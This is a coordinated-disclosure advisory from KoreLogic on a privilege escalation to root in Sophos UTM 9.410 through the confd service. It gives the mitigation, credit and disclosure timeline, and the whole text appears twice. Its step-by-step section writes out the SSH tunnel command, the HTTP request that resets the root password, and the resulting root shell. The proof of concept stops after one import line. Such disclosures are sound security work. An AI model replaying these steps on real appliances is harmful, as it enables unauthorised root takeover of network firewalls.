[FD] KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service
KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service
Title: Sophos UTM 9 loginuser Privilege Escalation via confd Service
Advisory ID: KL-001-2018-007
Publication Date: 2018.03.02
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2018-007.txt
1. Vulnerability Details
Affected Vendor: Sophos
Affected Product: UTM 9
Affected Version: 9.410
Platform: Embedded Linux
CWE Classification: CWE-306: Missing Authentication for Critical Function
(SID generation)
Impact: Privilege Escalation
Attack vector: SSH
2. Vulnerability Description
The attacker must know the password for the loginuser
account. The confd client is not available to the loginuser
account. However, the running service is accessible over
a network port on the loopback interface. By replaying the
network traffic required to obtain a SID from this service it
is possible to escalate privileges to root.
3. Technical Description
1. Obtain the a privileged session token
$ ssh -Nf -L 127.0.0.1:4472:127.0.0.1:4472 loginuser@1.3.3.7
loginuser@1.3.3.7's password:
$ python kl-loginuser-confd-priv_esc.py
pojiZSqWEUAUDNIQtSop
2. Using that session token, set the root password
POST /webadmin.plx HTTP/1.1
Host: 1.3.3.7:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-Type: application/json; charset=UTF-8
Referer: https://1.3.3.7:/
Content-Length: 422
Cookie: SID=pojiZSqWEUAUDNIQtSop
DNT: 1
Connection: close
{"objs": [{"ack": null, "elements": {"root_pw_1": "korelogic",
"root_pw_2": "korelogic", "loginuser_pw_1":
"loginuser", "loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}],
"SID": "pojiZSqWEUAUDNIQtSop", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug":
0, "RID":
"1490305723111_0.8089407793028881", "current_uuid":
"2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false}
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 15:33:53 GMT
Server: Apache
Expires: Thursday, 01-Jan-1970 00:00:01 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 178895
{"SID":"pojiZSqWEUAUDNIQtSop","ipv6":false,"current_uuid":"2844879a-e014-11da-b3ae-0014221e9eba",[snip
over 9000]
3. Look for success message.
"objs":[{"success":[{"text":"Shell user password(s) set successfully."}]
4. Profit.
loginuser@[redacted]:/home/login > su
Password:
[redacted]:/home/login # id
uid=0(root) gid=0(root) groups=0(root),890(xorp)
4. Mitigation and Remediation Recommendation
The vendor has addressed this vulnerability in version
9.508. Release notes and download instructions can be found at:
https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-508-released
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.21 - KoreLogic submits vulnerability details to Sophos.
2017.07.21 - Sophos acknowledges receipt.
2017.09.01 - 30 business days have elapsed since the vulnerability
was reported to Sophos.
2017.09.15 - KoreLogic requests an update on the status of this and
other vulnerabilities reported to Sophos.
2017.09.18 - Sophos informs KoreLogic that this issue will require
additional engineering and requests an extension of
the disclosure timeline.
2017.09.25 - 45 business days have elapsed since the vulnerability
was reported to Sophos.
2017.11.07 - 75 business days have elapsed since the vulnerability
was reported to Sophos.
2017.12.14 - 100 business days have elapsed since the vulnerability
was reported to Sophos.
2018.01.12 - KoreLogic requests an update from Sophos.
2018.01.15 - Sophos informs KoreLogic that the expected release date
for the UTM 9.5 MR 6 version containing the mitigation
is the middle of February.
2018.01.16 - 120 business days have elapsed since the vulnerability
was reported to Sophos.
2018.02.28 - 150 business days have elapsed since the vulnerability
was reported to Sophos.
2018.03.01 - UTM 9.508 released by Sophos.
2018.03.02 - KoreLogic public disclosure.
7. Proof of Concept
from socket import socket,AF_INET,SOCK_STREAM
[FD] KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service
KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service
Title: Sophos UTM 9 loginuser Privilege Escalation via confd Service
Advisory ID: KL-001-2018-007
Publication Date: 2018.03.02
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2018-007.txt
1. Vulnerability Details
Affected Vendor: Sophos
Affected Product: UTM 9
Affected Version: 9.410
Platform: Embedded Linux
CWE Classification: CWE-306: Missing Authentication for Critical Function
(SID generation)
Impact: Privilege Escalation
Attack vector: SSH
2. Vulnerability Description
The attacker must know the password for the loginuser
account. The confd client is not available to the loginuser
account. However, the running service is accessible over
a network port on the loopback interface. By replaying the
network traffic required to obtain a SID from this service it
is possible to escalate privileges to root.
3. Technical Description
1. Obtain the a privileged session token
$ ssh -Nf -L 127.0.0.1:4472:127.0.0.1:4472 loginuser@1.3.3.7
loginuser@1.3.3.7's password:
$ python kl-loginuser-confd-priv_esc.py
pojiZSqWEUAUDNIQtSop
2. Using that session token, set the root password
POST /webadmin.plx HTTP/1.1
Host: 1.3.3.7:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-Type: application/json; charset=UTF-8
Referer: https://1.3.3.7:/
Content-Length: 422
Cookie: SID=pojiZSqWEUAUDNIQtSop
DNT: 1
Connection: close
{"objs": [{"ack": null, "elements": {"root_pw_1": "korelogic",
"root_pw_2": "korelogic", "loginuser_pw_1":
"loginuser", "loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}],
"SID": "pojiZSqWEUAUDNIQtSop", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug":
0, "RID":
"1490305723111_0.8089407793028881", "current_uuid":
"2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false}
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 15:33:53 GMT
Server: Apache
Expires: Thursday, 01-Jan-1970 00:00:01 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 178895
{"SID":"pojiZSqWEUAUDNIQtSop","ipv6":false,"current_uuid":"2844879a-e014-11da-b3ae-0014221e9eba",[snip
over 9000]
3. Look for success message.
"objs":[{"success":[{"text":"Shell user password(s) set successfully."}]
4. Profit.
loginuser@[redacted]:/home/login > su
Password:
[redacted]:/home/login # id
uid=0(root) gid=0(root) groups=0(root),890(xorp)
4. Mitigation and Remediation Recommendation
The vendor has addressed this vulnerability in version
9.508. Release notes and download instructions can be found at:
https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-508-released
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.21 - KoreLogic submits vulnerability details to Sophos.
2017.07.21 - Sophos acknowledges receipt.
2017.09.01 - 30 business days have elapsed since the vulnerability
was reported to Sophos.
2017.09.15 - KoreLogic requests an update on the status of this and
other vulnerabilities reported to Sophos.
2017.09.18 - Sophos informs KoreLogic that this issue will require
additional engineering and requests an extension of
the disclosure timeline.
2017.09.25 - 45 business days have elapsed since the vulnerability
was reported to Sophos.
2017.11.07 - 75 business days have elapsed since the vulnerability
was reported to Sophos.
2017.12.14 - 100 business days have elapsed since the vulnerability
was reported to Sophos.
2018.01.12 - KoreLogic requests an update from Sophos.
2018.01.15 - Sophos informs KoreLogic that the expected release date
for the UTM 9.5 MR 6 version containing the mitigation
is the middle of February.
2018.01.16 - 120 business days have elapsed since the vulnerability
was reported to Sophos.
2018.02.28 - 150 business days have elapsed since the vulnerability
was reported to Sophos.
2018.03.01 - UTM 9.508 released by Sophos.
2018.03.02 - KoreLogic public disclosure.
7. Proof of Concept
from socket import socket,AF_INET,SOCK_STREAM
